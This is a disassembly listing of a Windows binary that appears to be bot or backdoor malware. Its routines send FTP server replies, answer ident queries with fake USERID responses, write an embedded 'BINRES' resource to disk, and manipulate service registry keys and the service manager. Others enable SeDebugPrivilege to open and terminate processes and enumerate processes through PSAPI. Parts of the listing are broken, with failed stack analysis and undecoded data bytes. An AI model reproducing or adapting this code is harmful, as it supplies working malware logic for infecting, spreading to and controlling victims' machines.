		not	ecx
		dec	ecx
		push	ecx
		push	offset a226	; "226 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+0E0h+arg_E4]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a221 ; "221	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a221	; "221 \r\n"
		push	esi
		call	ebp	; send
		push	esi
		call	near ptr 71AB9639h
		nop
		lea	ecx, [esp+0F0h+var_AC]
		mov	byte ptr [esp+0F0h+arg_18D8], 2
		call	sub_401226
		lea	ecx, [esp+0F0h+var_64]
		mov	byte ptr [esp+0F0h+arg_18D8], 1
		call	sub_401226
		lea	ecx, [esp+0F0h+var_7C]
		mov	byte ptr [esp+0F0h+arg_18D8], 0
		call	sub_401226
		lea	ecx, [esp+0F0h+var_94]
		mov	[esp+0F0h+arg_18D8], 0FFFFFFFFh
		call	sub_401226
		mov	edi, [esp+0F0h+var_DC]


loc_41F6D6:				; CODE XREF: sub_41EFD0+109j
		push	9C4h


loc_41F6DB:				; CODE XREF: sub_41EFD0+E8j
		call	near ptr 2870000h
		nop


loc_41F6E1:				; CODE XREF: sub_41EFD0+140j
		mov	al, byte_4E6E34
		test	al, al
		jnz	loc_41F0A2
		pop	ebp
		pop	ebx


loc_41F6F0:				; CODE XREF: sub_41EFD0+BEj
		mov	eax, [edi+15h]
		push	eax
		nop
		call	near ptr 71AB9639h


loc_41F6FA:				; CODE XREF: sub_41EFD0+82j
					; sub_41EFD0+B2j
		mov	ecx, [esp+0F0h+arg_18C8]
		pop	edi
		xor	eax, eax
		pop	esi
		mov	large fs:0, ecx
		add	esp, 19C0h
		retn
sub_41EFD0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 1E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41F900	proc near		; CODE XREF: sub_401230j

var_90		= dword	ptr -90h
var_8C		= byte ptr -8Ch
var_7C		= byte ptr -7Ch
var_78		= byte ptr -78h
var_60		= byte ptr -60h
var_48		= byte ptr -48h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41F900
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 84h
		push	ebx
		push	ebp
		push	esi
		push	71h
		call	sub_40197E
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		mov	[esp+9Ch+var_90], eax
		jnz	short loc_41F93D
		mov	byte_4E6E89, 0
		jmp	loc_41FAA1
; ---------------------------------------------------------------------------


loc_41F93D:				; CODE XREF: sub_41F900+2Fj
		mov	cl, byte_44726B
		xor	ebx, ebx
		cmp	cl, bl
		mov	byte_4E6E89, 1
		jnz	loc_41FA94
		lea	ecx, [esp+9Ch+var_8C]
		push	ecx
		push	eax
		call	sub_401FEB
		mov	ebp, eax
		add	esp, 8
		cmp	ebp, 0FFFFFFFFh
		jz	loc_41FA87
		push	edi
		lea	ecx, [esp+0A0h+var_7C]
		call	sub_401424
		mov	[esp+0A0h+var_4], ebx
		call	sub_401EEC
		mov	esi, dword_50FABC
		call	esi	; rand
		cdq
		mov	ecx, 3
		push	offset byte_446F20
		idiv	ecx
		lea	ecx, [esp+0A0h+var_78]
		mov	edi, edx
		add	edi, 0Ah
		call	sub_4015D7
		cmp	edi, ebx
		jle	short loc_41FA06


loc_41F9AA:				; CODE XREF: sub_41F900+104j
		lea	ecx, [esp+9Ch+var_60]
		call	sub_401424
		lea	edx, [esp+9Ch+var_78]
		lea	ecx, [esp+9Ch+var_60]
		push	edx
		mov	byte ptr [esp+0A0h], 1
		call	sub_401FBE
		call	esi	; rand
		cdq
		mov	ecx, 1Ah
		idiv	ecx
		lea	ecx, [esp+9Ch+var_60]
		add	edx, 61h
		push	edx
		call	sub_4017E4
		push	eax
		lea	edx, [esp+0A4h+var_78]
		push	offset dword_443E3C
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+9Ch+var_60]
		mov	[esp+9Ch], bl
		call	sub_401226
		dec	edi
		jnz	short loc_41F9AA


loc_41FA06:				; CODE XREF: sub_41F900+A8j
		push	0Ah
		lea	ecx, [esp+0A0h+var_78]
		call	sub_40146F
		mov	[eax], bl
		mov	ecx, 10h
		xor	eax, eax
		lea	edi, [esp+9Ch+var_48]
		rep stosd
		lea	ecx, [esp+9Ch+var_78]
		call	sub_4017E4
		push	eax
		push	71h
		call	esi	; rand
		cdq
		mov	ecx, 1770h
		idiv	ecx
		inc	edx
		push	edx
		lea	edx, [esp+0A8h+var_48]
		push	offset aDDUseridUnixS ;	"%d, %d	: USERID : UNIX	: %s\r\n"
		push	edx
		nop
		call	sub_63125E
		add	esp, 14h
		lea	eax, [esp+9Ch+var_48]
		push	ebx
		push	40h
		push	eax
		push	ebp
		nop
		call	near ptr 71AB428Ah
		mov	esi, dword_50FC88
		push	ebp
		call	esi	; closesocket
		lea	ecx, [esp+0A0h+var_7C]
		mov	[esp+0A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0A0h+var_90]
		push	ecx
		call	esi	; closesocket
		mov	byte_4E6E89, bl
		pop	edi
		jmp	short loc_41FA9E
; ---------------------------------------------------------------------------


loc_41FA87:				; CODE XREF: sub_41F900+67j
		push	7D0h
		nop
		call	near ptr 2870000h
		jmp	short loc_41FAA1
; ---------------------------------------------------------------------------


loc_41FA94:				; CODE XREF: sub_41F900+4Ej
		mov	ebp, [esp+9Ch+var_90]
		mov	esi, dword_50FC88


loc_41FA9E:				; CODE XREF: sub_41F900+185j
		push	ebp
		call	esi	; closesocket


loc_41FAA1:				; CODE XREF: sub_41F900+38j
					; sub_41F900+192j
		mov	ecx, [esp+9Ch+var_C]
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 90h
		retn
sub_41F900	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FB30	proc near		; CODE XREF: sub_401ABEj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		dec	eax
		jz	short loc_41FB6B
		dec	eax
		jz	short loc_41FB54
		dec	eax
		jnz	short loc_41FB91
		mov	ecx, dword_50BB18
		mov	dword_50BAFC, 4
		call	sub_401DCA
		jmp	short loc_41FB91
; ---------------------------------------------------------------------------


loc_41FB54:				; CODE XREF: sub_41FB30+8j
		mov	ecx, dword_50BB18
		mov	dword_50BAFC, 7
		call	sub_401028
		jmp	short loc_41FB91
; ---------------------------------------------------------------------------


loc_41FB6B:				; CODE XREF: sub_41FB30+5j
		mov	ecx, dword_50BB18
		xor	eax, eax
		mov	dword_50BB04, eax
		mov	dword_50BAFC, 1
		mov	dword_50BB0C, eax
		mov	dword_50BB10, eax
		call	sub_401744


loc_41FB91:				; CODE XREF: sub_41FB30+Bj
					; sub_41FB30+22j ...
		mov	eax, dword_50BB1C
		push	offset dword_50BAF8
		push	eax
		mov	dword_50BAFC, 4
		call	near ptr 29208A9h
		nop
		retn	4
sub_41FB30	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41FBD0:				; CODE XREF: ___:loc_401956j
		push	esi
		xor	esi, esi
		push	offset sub_401ABE
		mov	ecx, offset byte_4478FF
		mov	dword_50BAF8, 20h
		mov	dword_50BAFC, 2
		mov	dword_50BB00, 3
		mov	dword_50BB04, esi
		mov	dword_50BB08, esi
		mov	dword_50BB0C, esi
		mov	dword_50BB10, esi
		call	sub_4017E4
		push	eax
		call	near ptr 292043Fh
		nop
		cmp	eax, esi
		mov	dword_50BB1C, eax
		jz	short loc_41FC4A
		push	offset dword_50BAF8
		push	eax
		mov	dword_50BAFC, 4
		mov	dword_50BB0C, esi
		mov	dword_50BB10, esi
		nop
		call	near ptr 29208A9h


loc_41FC4A:				; CODE XREF: ___:0041FC26j
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FC70	proc near		; CODE XREF: sub_401069j
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		mov	dword ptr [esi], offset	off_43E068
		mov	eax, esi
		pop	esi
		retn
sub_41FC70	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FCA0	proc near		; CODE XREF: sub_401CDFj

var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h

		sub	esp, 110h
		mov	dword_50BB18, ecx
		push	100h
		mov	ecx, offset byte_4478FF
		call	sub_4017E4
		push	eax
		lea	eax, [esp+118h+var_100]
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		lea	edx, [esp+110h+var_110]
		lea	ecx, [esp+110h+var_100]
		xor	eax, eax
		push	edx
		mov	[esp+114h+var_110], ecx
		mov	[esp+114h+var_10C], offset loc_401956
		mov	[esp+114h+var_108], eax
		mov	[esp+114h+var_104], eax
		nop
		call	near ptr 2920000h
		xor	eax, eax
		add	esp, 110h
		retn
sub_41FCA0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41FD20:				; CODE XREF: ___:00401C30j
		mov	eax, [esp+4]
		push	ebx
		push	esi
		push	edi
		push	offset aWb	; "wb"
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_41FD42
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FD42:				; CODE XREF: ___:0041FD3Aj
		mov	ecx, [esp+18h]
		push	ecx
		nop
		call	near ptr 28B1CC4h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_41FD59
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FD59:				; CODE XREF: ___:0041FD51j
		mov	edx, [esp+14h]
		push	offset aBinres	; "BINRES"
		and	edx, 0FFFFh
		push	edx
		push	esi
		call	near ptr 27C0622h
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41FD7C
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FD7C:				; CODE XREF: ___:0041FD74j
		push	ebp
		push	edi
		push	esi
		call	near ptr 27D0000h
		nop
		push	edi
		push	esi
		mov	ebp, eax
		nop
		call	near ptr 27D032Fh
		push	ebp
		mov	esi, eax
		nop
		call	near ptr 27D061Bh
		push	ebx
		push	esi
		push	1
		push	eax
		nop
		call	near ptr 77C4173Bh
		push	ebx
		nop
		call	near ptr 77C40AB1h
		add	esp, 14h
		mov	al, 1
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FDF0	proc near		; CODE XREF: sub_40187Fj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FE18
		push	esi
		call	near ptr 71AB4FD4h
		nop
		test	eax, eax
		jnz	short loc_41FE11
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41FE11:				; CODE XREF: sub_41FDF0+1Aj
		mov	eax, [eax+0Ch]
		mov	ecx, [eax]
		mov	eax, [ecx]


loc_41FE18:				; CODE XREF: sub_41FDF0+Fj
		pop	esi
		retn
sub_41FDF0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FE30	proc near		; CODE XREF: sub_401A8Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	esi
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41FE4E
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FE4E:				; CODE XREF: sub_41FE30+15j
		mov	ecx, [esp+14h+arg_4]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		call	near ptr 71AB2B66h
		nop
		mov	edx, [esp+14h+arg_0]
		mov	word ptr [esp+14h+var_10+2], ax
		push	edx
		call	sub_40187F
		add	esp, 4
		mov	[esp+14h+var_C], eax
		lea	eax, [esp+14h+var_10]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FEAA
		push	esi
		nop
		call	near ptr 71AB9639h
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FEAA:				; CODE XREF: sub_41FE30+69j
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_41FE30	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FEF0	proc near		; CODE XREF: sub_40197Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41FF0E
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FF0E:				; CODE XREF: sub_41FEF0+15j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	esi
		mov	word ptr [esp+20h+var_10+2], ax
		mov	[esp+20h+var_C], 0
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_41FF60
		push	esi
		call	near ptr 71AB9639h
		nop
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FF60:				; CODE XREF: sub_41FEF0+5Fj
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_41FEF0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FF90	proc near		; CODE XREF: sub_4012DFj

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		mov	esi, [esp+14h+arg_0]
		push	0Ah
		push	esi
		call	near ptr 71AB88D3h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41FFC4
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esp+14h+var_10]
		push	eax
		push	ecx
		push	esi
		mov	[esp+20h+arg_0], 10h
		call	near ptr 71AC1028h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FFC7


loc_41FFC4:				; CODE XREF: sub_41FF90+14j
		or	eax, 0FFFFFFFFh


loc_41FFC7:				; CODE XREF: sub_41FF90+32j
		pop	esi
		add	esp, 10h
		retn
sub_41FF90	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FFE0	proc near		; CODE XREF: sub_401FEBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_420016
		mov	esi, [esp+8+arg_0]
		push	0Ah
		push	esi
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_420016
		lea	eax, [esp+8+arg_4]
		mov	[esp+8+arg_4], 10h
		push	eax
		push	edi
		push	esi
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_420019


loc_420016:				; CODE XREF: sub_41FFE0+8j
					; sub_41FFE0+1Aj
		or	eax, 0FFFFFFFFh


loc_420019:				; CODE XREF: sub_41FFE0+34j
		pop	edi
		pop	esi
		retn
sub_41FFE0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_420030	proc near		; CODE XREF: sub_4015FAj

var_1128	= dword	ptr -1128h
var_1124	= byte ptr -1124h
var_1112	= byte ptr -1112h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_1108	= byte ptr -1108h
var_1104	= byte ptr -1104h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= byte ptr  8
arg_104		= byte ptr  108h
arg_110		= byte ptr  114h

		mov	eax, 1114h
		call	sub_4368D0
		lea	eax, [esp+arg_4]
		lea	ecx, [esp+arg_110]
		push	eax
		push	1000h
		push	ecx
		mov	byte ptr [esp+0Fh], 0
		call	sub_437050
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_420063
		xor	al, al
		add	esp, 1114h
		retn
; ---------------------------------------------------------------------------


loc_420063:				; CODE XREF: sub_420030+28j
		mov	eax, [esp+0Ch+var_4]
		shr	eax, 2
		jz	loc_42012D
		push	ebx
		mov	ebx, dword_50F874
		push	ebp
		push	esi
		push	edi
		lea	ebp, [esp+1Ch+arg_104]
		mov	[esp+1Ch+var_8], eax


loc_420085:				; CODE XREF: sub_420030+F3j
		mov	edi, offset aUnknown ; "unknown"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+20h]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+0]
		push	ecx
		push	0
		push	411h
		call	ebx
		mov	esi, eax
		test	esi, esi
		jz	short loc_420117
		lea	edx, [esp+18h]
		lea	eax, [esp+1Ch]
		push	edx
		push	4
		push	eax
		push	esi
		call	sub_43704A
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_420110
		mov	edx, [esp+1144h+var_1128]
		lea	ecx, [esp+1144h+var_1124]
		push	104h
		push	ecx
		push	edx
		push	esi
		call	sub_437044
; ---------------------------------------------------------------------------
		db 8Bh,	84h, 24h
		dd 1128h, 20244C8Dh, 0E8905150h, 77826152h, 8508C483h
		dd 500D75C0h, 0F5E89056h, 0C60232FEh, 1132444h
; ---------------------------------------------------------------------------


loc_420110:				; CODE XREF: sub_420030+A2j
		push	esi
		nop
		call	near ptr 28709F4h


loc_420117:				; CODE XREF: sub_420030+8Cj
		mov	eax, dword ptr [esp+1138h+var_1124]
		add	ebp, 4
		dec	eax
		mov	dword ptr [esp+1138h+var_1124],	eax
		jnz	loc_420085
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx


loc_42012D:				; CODE XREF: sub_420030+3Aj
		mov	al, byte ptr [esp+1128h+var_1128+3]
		add	esp, 1114h
		retn
sub_420030	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420190	proc near		; CODE XREF: sub_4019FBj

var_490		= byte ptr -490h
var_488		= byte ptr -488h
var_482		= byte ptr -482h
var_480		= byte ptr -480h
var_478		= byte ptr -478h
var_468		= dword	ptr -468h
var_464		= byte ptr -464h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_43C		= byte ptr -43Ch
var_438		= byte ptr -438h
var_424		= byte ptr -424h
var_420		= byte ptr -420h
var_38		= byte ptr -38h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_420190
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 44Ch
		push	ebx
		push	esi
		mov	esi, [esp+460h+arg_0]
		lea	ecx, [esp+460h+var_424]
		push	esi
		call	sub_401861
		push	eax
		mov	[esp+464h+var_4], 0
		call	sub_401E8D
		add	esp, 4
		lea	ecx, [esp+460h+var_424]
		mov	bl, al
		mov	[esp+460h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	bl, bl
		jz	loc_42030A
		lea	ecx, [esp+460h+var_43C]
		call	sub_401424
		push	esi
		lea	eax, [esp+464h+var_43C]
		mov	ebx, 1
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
		push	eax
		mov	[esp+46Ch+var_4], ebx
		mov	[esp+46Ch+var_454], 0
		mov	[esp+46Ch+var_450], 80h
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+460h+var_454]
		push	ecx
		push	20019h
		push	0
		lea	ecx, [esp+46Ch+var_43C]
		call	sub_401681
		push	eax
		push	80000002h
		nop
		call	near ptr 2960296h
		mov	ecx, [esp+474h+var_468]
		lea	edx, [esp+474h+var_464]
		lea	eax, [esp+474h+var_420]
		push	edx
		push	eax
		push	0
		push	0
		push	offset aImagepath ; "ImagePath"
		push	ecx
		call	near ptr 2910000h
		nop
		lea	edx, [esp+0Bh]
		lea	eax, [esp+48Ch+var_438]
		push	edx
		push	eax
		lea	ecx, [esp+494h+var_478]
		call	near ptr 76081F67h
		nop
		mov	ecx, dword_50F9AC
		mov	[esp+494h+var_38], 2
		mov	edx, [ecx]
		lea	ecx, [esp+494h+var_480]
		push	edx
		push	offset asc_443ABC ; "\\"
		nop
		call	near ptr 76085AE4h
		inc	eax
		lea	ecx, [esp+49Ch+var_488]
		push	eax
		push	0
		nop
		call	near ptr 760976AFh
		lea	ecx, [esp+4A4h+var_490]
		nop
		call	near ptr 7608B84Ch
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 24244C8Dh, 0FE13BCE8h, 0E89050FFh, 2400683h,	14244C8Dh
		dd 5C249C88h, 0E8000004h, 75C6F1A9h, 244C8D90h,	2484C724h
		dd 45Ch, 0FFFFFFFFh, 0FE0F35E8h, 5EC38AFFh, 248C8B5Bh
		dd 44Ch, 0D8964h, 81000000h, 458C4h
		db 0, 0C3h
; ---------------------------------------------------------------------------


loc_42030A:				; CODE XREF: sub_420190+5Aj
		mov	ecx, [esp+460h+var_C]
		pop	esi
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 458h
		retn
sub_420190	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4203A0	proc near		; CODE XREF: sub_401E8Dj

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  4

		sub	esp, 1Ch
		push	ebx
		push	esi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 2930830h
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_4203C5
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_4203C5:				; CODE XREF: sub_4203A0+1Bj
		mov	ecx, [esp+24h+arg_0]
		push	0F01FFh
		call	sub_4017E4
		push	eax
		push	ebx
		nop
		call	near ptr 28D0783h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4203F0
		push	ebx
		nop
		call	near ptr 2940458h
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_4203F0:				; CODE XREF: sub_4203A0+3Fj
		push	ebp
		push	edi
		mov	edi, dword_50F740
		push	esi
		call	edi
		push	esi
		call	edi
		mov	ebp, dword_50F73C
		lea	eax, [esp+2Ch+var_1C]
		push	eax
		push	1
		push	esi
		call	ebp
		push	esi
		call	edi
		lea	ecx, [esp+2Ch+var_1C]
		push	ecx
		push	1
		push	esi
		call	ebp
		push	esi
		mov	esi, dword_50F74C
		call	esi
		push	ebx
		call	esi
		pop	edi
		pop	ebp
		pop	esi
		mov	al, 1
		pop	ebx
		add	esp, 1Ch
		retn
sub_4203A0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420470	proc near		; CODE XREF: sub_4018A7j

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		lea	eax, [esp+34h+var_28]
		push	edi
		xor	esi, esi
		push	eax
		push	esi
		push	28h
		xor	bl, bl
		mov	[esp+44h+var_24], 10h
		nop
		call	near ptr 27B0D02h
		push	eax
		nop
		call	near ptr 28F148Ch
		mov	ebp, dword_50F718
		mov	edi, dword_50F8D8
		test	eax, eax
		jnz	short loc_4204C0
		lea	ecx, [esp+38h+var_28]
		push	ecx
		push	28h
		nop
		call	near ptr 27B0D50h
		push	eax
		nop
		call	near ptr 28F1A99h
		test	eax, eax
		jz	short loc_42051F


loc_4204C0:				; CODE XREF: sub_420470+36j
		cmp	[esp+38h+var_28], esi
		jz	short loc_420523
		lea	edx, [esp+38h+var_1C]
		mov	[esp+38h+var_20], 1
		push	edx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		push	esi
		mov	[esp+44h+var_14], 2
		nop
		call	near ptr 2900000h
		lea	eax, [esp+38h+var_24]
		lea	ecx, [esp+38h+var_10]
		push	eax
		mov	eax, [esp+3Ch+var_28]
		push	ecx
		lea	edx, [esp+40h+var_20]
		push	10h
		push	edx
		push	esi
		push	eax
		call	ebp
		test	eax, eax
		jz	short loc_420518
		nop
		call	near ptr 27F08BCh
		cmp	eax, 514h
		jnz	short loc_420523
		mov	ecx, [esp+38h+var_28]
		push	ecx
		jmp	short loc_42051D
; ---------------------------------------------------------------------------


loc_420518:				; CODE XREF: sub_420470+92j
		mov	edx, [esp+38h+var_28]
		push	edx


loc_42051D:				; CODE XREF: sub_420470+A6j
		call	edi


loc_42051F:				; CODE XREF: sub_420470+4Ej
		mov	[esp+38h+var_28], esi


loc_420523:				; CODE XREF: sub_420470+54j
					; sub_420470+9Fj
		mov	eax, [esp+38h+arg_0]
		push	eax
		push	esi
		push	411h
		nop
		call	near ptr 27C0000h
		mov	esi, eax
		test	esi, esi
		jz	short loc_420548
		push	0
		push	esi
		call	near ptr 2750000h
		nop
		push	esi
		mov	bl, 1
		call	edi


loc_420548:				; CODE XREF: sub_420470+C8j
		mov	eax, [esp+38h+var_28]
		test	eax, eax
		jz	short loc_420567
		push	0
		push	0
		lea	ecx, [esp+40h+var_10]
		push	10h
		push	ecx
		push	0
		push	eax
		call	ebp
		mov	edx, [esp+38h+var_28]
		push	edx
		call	edi


loc_420567:				; CODE XREF: sub_420470+DEj
		pop	edi
		pop	esi
		mov	al, bl
		pop	ebp
		pop	ebx
		add	esp, 28h
		retn
sub_420470	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4205D0	proc near		; CODE XREF: sub_4011D6j

var_68		= dword	ptr -68h
var_54		= byte ptr -54h
var_4C		= dword	ptr -4Ch
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_28		= byte ptr -28h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_F4		= byte ptr  0F8h
arg_100		= byte ptr  104h
arg_10C4	= dword	ptr  10C8h
arg_10D0	= dword	ptr  10D4h
arg_1104	= dword	ptr  1108h
arg_1118	= dword	ptr  111Ch

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4205D0
		push	eax
		mov	eax, 1130h
		mov	large fs:0, esp
		call	sub_4368D0
		push	esi
		push	offset aPsapi_dll ; "PSAPI.DLL"
		nop
		call	near ptr 28B1CC4h
		test	eax, eax
		mov	dword_50BB20, eax
		jnz	short loc_42061C
		push	offset aPsapi_dll ; "PSAPI.DLL"
		nop
		call	near ptr 28107EEh
		test	eax, eax
		mov	dword_50BB20, eax
		jz	loc_42079A


loc_42061C:				; CODE XREF: sub_4205D0+32j
		mov	esi, dword_50F8A0
		push	offset aEnumprocesses ;	"EnumProcesses"
		push	eax
		call	esi
		mov	dword_50BB24, eax
		mov	eax, dword_50BB20
		push	offset aEnumprocessmod ; "EnumProcessModules"
		push	eax
		call	esi
		mov	ecx, dword_50BB20
		push	offset aGetmodulefilen ; "GetModuleFileNameExA"
		push	ecx
		mov	dword_50BB28, eax
		call	esi
		mov	ecx, dword_50BB24
		mov	dword_50BB2C, eax
		test	ecx, ecx
		jz	loc_42079A
		mov	edx, dword_50BB28
		test	edx, edx
		jz	loc_42079A
		test	eax, eax
		jz	loc_42079A
		lea	edx, [esp+30h+var_28]
		lea	eax, [esp+30h+arg_100]
		push	edx
		push	1000h
		push	eax
		call	ecx
